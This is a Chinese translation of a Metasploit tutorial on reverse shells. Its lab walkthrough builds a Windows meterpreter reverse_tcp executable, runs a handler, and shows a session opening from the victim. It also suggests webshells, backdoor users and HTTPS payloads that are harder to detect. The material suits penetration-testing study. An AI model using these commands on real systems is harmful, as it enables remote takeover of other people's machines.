【譯】Metasploit:如何在 Metasploit 中使用反彈 Shell



眾所周知,有兩種流行的 Shell 的類型:反向 Shell (譯者注:攻擊者監(jiān)聽端口,被攻擊者連接)和 正向 Shell(譯者注:被攻擊者監(jiān)聽端口,攻擊者連接)
譯者注:由于 C/S 結(jié)構(gòu)的程序開發(fā)中,一般我們將監(jiān)聽端口的一方稱為服務(wù)器,而主動(dòng)連接的一方稱為客戶端。站在攻擊者的角度上,正向 Shel 即為攻擊者主動(dòng)連接服務(wù)器,此謂之正向;而反向 Shell 中,攻擊者為服務(wù)器,被攻擊者主動(dòng)連接攻擊者,此謂之反向

Payload 的基本使用已經(jīng)在 用戶手冊(cè) 中寫的很詳細(xì)了,但是,學(xué)習(xí)如何使用反向 Shell 仍然是一個(gè)在 Metasploit 社區(qū)中被詢問最頻繁的問題。另外,事實(shí)上反向 Shell 在十次滲透中幾乎有九次都可能被用到,因此在這個(gè)文檔中我們將對(duì)此進(jìn)行深入解釋。

列出所有的 Metasploit 反向 Shell

直到現(xiàn)在, Metasploit Framework 已經(jīng)有了 168 個(gè)不同的反向 Shell 的 Payload
我們這里并沒有列出所有的反向 Shell 的列表,因?yàn)闆]必要浪費(fèi)文章的篇幅。
但是如果你想要得到這個(gè)列表的話,你可以使用 msfpayload 命令 (譯者注:msfpayload 目前已經(jīng)被 msfvenom 代替,msfvenom 由 msfpayload 與 msfencode 結(jié)合而成,具體官方公告可以參考:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

# ./msfpayload -l |grep reverse
./msfvenom -l |grep reverse

作為一個(gè)經(jīng)驗(yàn)法則,我們一般總是選擇 meterpreter(譯者注:對(duì)比于反向 Shell 和 正向 Shell),因?yàn)?Meterpreter 的確能為我們提供更多的后滲透測(cè)試的支持。例如:Railgun(譯者注:這是 Metasploit 對(duì) Windows Meterpreter Session 提供的一個(gè)功能,可以注入 DLL 文件到指定的程序),后滲透測(cè)試模塊,獨(dú)立的 Meterpreter 命令(例如:攝像頭控制),等等。

  • 以 Windows 作為目標(biāo)系統(tǒng),最被頻繁使用的反向 Shell 是 windows/meterpreter/reverse。但是你也可以嘗試一下 windows/meterpreter/reverse_http, windows/meterpreter/reverse_https, 因?yàn)樗鼈儯ㄗg者注:原文中并沒有說清楚 它們 指的是什么,個(gè)人感覺應(yīng)該是反向 Shell 的流量并沒有經(jīng)過加密,可以直接被防火墻嗅探到,但是如果基于 HTTP 或者 HTTPS 那么就可以實(shí)現(xiàn)基于應(yīng)用層的加密,這樣更難被檢測(cè)到)的網(wǎng)絡(luò)流量可能會(huì)有一點(diǎn)點(diǎn)不正常。
  • 以 Linux 作為目標(biāo)系統(tǒng),你可以嘗試 linux/x86/meterpreter/reverse_tcp 這個(gè)針對(duì) 32 位的 Payload,當(dāng)然也可以嘗試 64 位的。然而,你應(yīng)該知道的是 linux/x86/shell_reverse_tcp 這個(gè) Payload 是最穩(wěn)定的

什么時(shí)候應(yīng)該使用反向 Shell

如果你認(rèn)為你所在的條件符合如下條件之一(但不限于),那么你就應(yīng)該考慮使用反向 Shell

  • 目標(biāo)機(jī)器在一個(gè)不同(相對(duì)攻擊者而言)的私有網(wǎng)絡(luò)
  • 目標(biāo)機(jī)器的防火墻阻擋了所有入口連接(這種情況正向 Shell 是會(huì)被防火墻阻擋的)
  • 由于一些原因,你的 Payload 不能綁定在應(yīng)該綁定的端口的時(shí)候
  • 你還不能確定應(yīng)該選擇反向 Shell 還是正向 Shell 的時(shí)候

什么時(shí)候不應(yīng)該使用反向 Shell

  • 一般來說,如果你已經(jīng)在目標(biāo)機(jī)器的某個(gè)已存在的服務(wù)上種植了后門,那么你就不再需要反向 Shell。例如:如果目標(biāo)機(jī)器已經(jīng)運(yùn)行了一個(gè) SSH 服務(wù)器,那么你可以通過后門程序添加一個(gè)新的用戶并且直接使用。
  • 如果目標(biāo)機(jī)器運(yùn)行了一個(gè) WEB 服務(wù)器并且支持服務(wù)端腳本語(yǔ)言,那么你就可以種植一個(gè)目標(biāo)語(yǔ)言的后門。例如:很多 Apache HTTP Server 都支持 PHP 語(yǔ)言,那么你就可以使用一個(gè) PHP 的 webshell;IIS 服務(wù)器通常支持 ASP 語(yǔ)言或者 ASP.net。Metasploit Framework 提供所有這些語(yǔ)言的 Payload (當(dāng)然也包括許多其他語(yǔ)言的 Payload)
  • 與 VNC 相同,遠(yuǎn)程桌面,SMB(psexec) 或者等等其他的遠(yuǎn)程管理工具也一樣。

如何在生成 Payload 的時(shí)候配置反向 Shell Payload 的參數(shù)

如果你想使用 msfpayload(譯者注:已被廢棄)或者 msfvenom 來生成反向 Shell 的 Payload,那么你必須知道如何配置如下的參數(shù):

  • LHOST - 從字面上看(譯者注:Local HOST),該參數(shù)表示你想讓你的目標(biāo)機(jī)器連接的地址。如果你在一個(gè)本地局域網(wǎng),那么你的目標(biāo)機(jī)器可能就不能直接連接到你的機(jī)器了,除非你們?cè)谕粋€(gè)網(wǎng)絡(luò)中。這種情況下,你需要 找到你的公網(wǎng)IP ,然后在你的網(wǎng)絡(luò)中配置端口轉(zhuǎn)發(fā)連接到你自己的用來攻擊的電腦。LHOST 這個(gè)參數(shù)不可以被設(shè)置為 localhost, 0.0.0.0, 127.0.0.1,如果你這么設(shè)置了,那么你其實(shí)在讓目標(biāo)機(jī)器連接自己。
  • LPORT - 這個(gè)參數(shù)表示目標(biāo)機(jī)器要連接的端口號(hào)

當(dāng)你在配置反向 Shell 的監(jiān)聽器的時(shí)候,你也需要至少配置 LHOST 和 LPORT 這兩個(gè)參數(shù),但是這和在生成 Payload 的時(shí)候的配置的含義有所不同

  • LHOST - 該參數(shù)表示你想讓你的監(jiān)聽器綁定的 IP 地址
  • LPORT - 該參數(shù)表示你想讓你的監(jiān)聽器綁定的端口號(hào)

你應(yīng)該確保監(jiān)聽器在目標(biāo)機(jī)器執(zhí)行反向 Shell 的 Payload 之前就開始監(jiān)聽

實(shí)例

在下面的實(shí)例中,我們有兩個(gè)主機(jī)

主機(jī) A

  • 攻擊者機(jī)器(用來接受 Payload 作用產(chǎn)生的 Session)
  • IP : 192.168.1.123 (ifconfig)
  • 與受害者的主機(jī)在同一網(wǎng)段

主機(jī) B

  • 受害者機(jī)器
  • Windows XP
  • IP : 192.168.1.80 (ipconfig)
  • 與攻擊者在同一個(gè)網(wǎng)段
  • 為了測(cè)試效果,并沒有開啟防火墻
  • 為了測(cè)試效果,并沒有開啟反病毒軟件

第一步:生成可執(zhí)行的Payload
在攻擊者的機(jī)器上,運(yùn)行如下 msfpayload 命令(或者 msfvenom,任何一個(gè)都可以)

$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

第二步:將可執(zhí)行的 Payload 拷貝到機(jī)器 B (也就是受害者的機(jī)器)

第三步:在機(jī)器A(也就是攻擊者)上配置 Payload Handler

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...

第四步:雙擊剛才生成的惡意可執(zhí)行程序(在機(jī)器B,也就是受害者機(jī)器上)

第五步:這個(gè)時(shí)候應(yīng)該就可以在攻擊者的機(jī)器A上看到一個(gè) meterpreter/payload 的 session 了

$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

Meterpreter 命令提示符表示由當(dāng)前 payload 生成的 session 已經(jīng)被激活

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容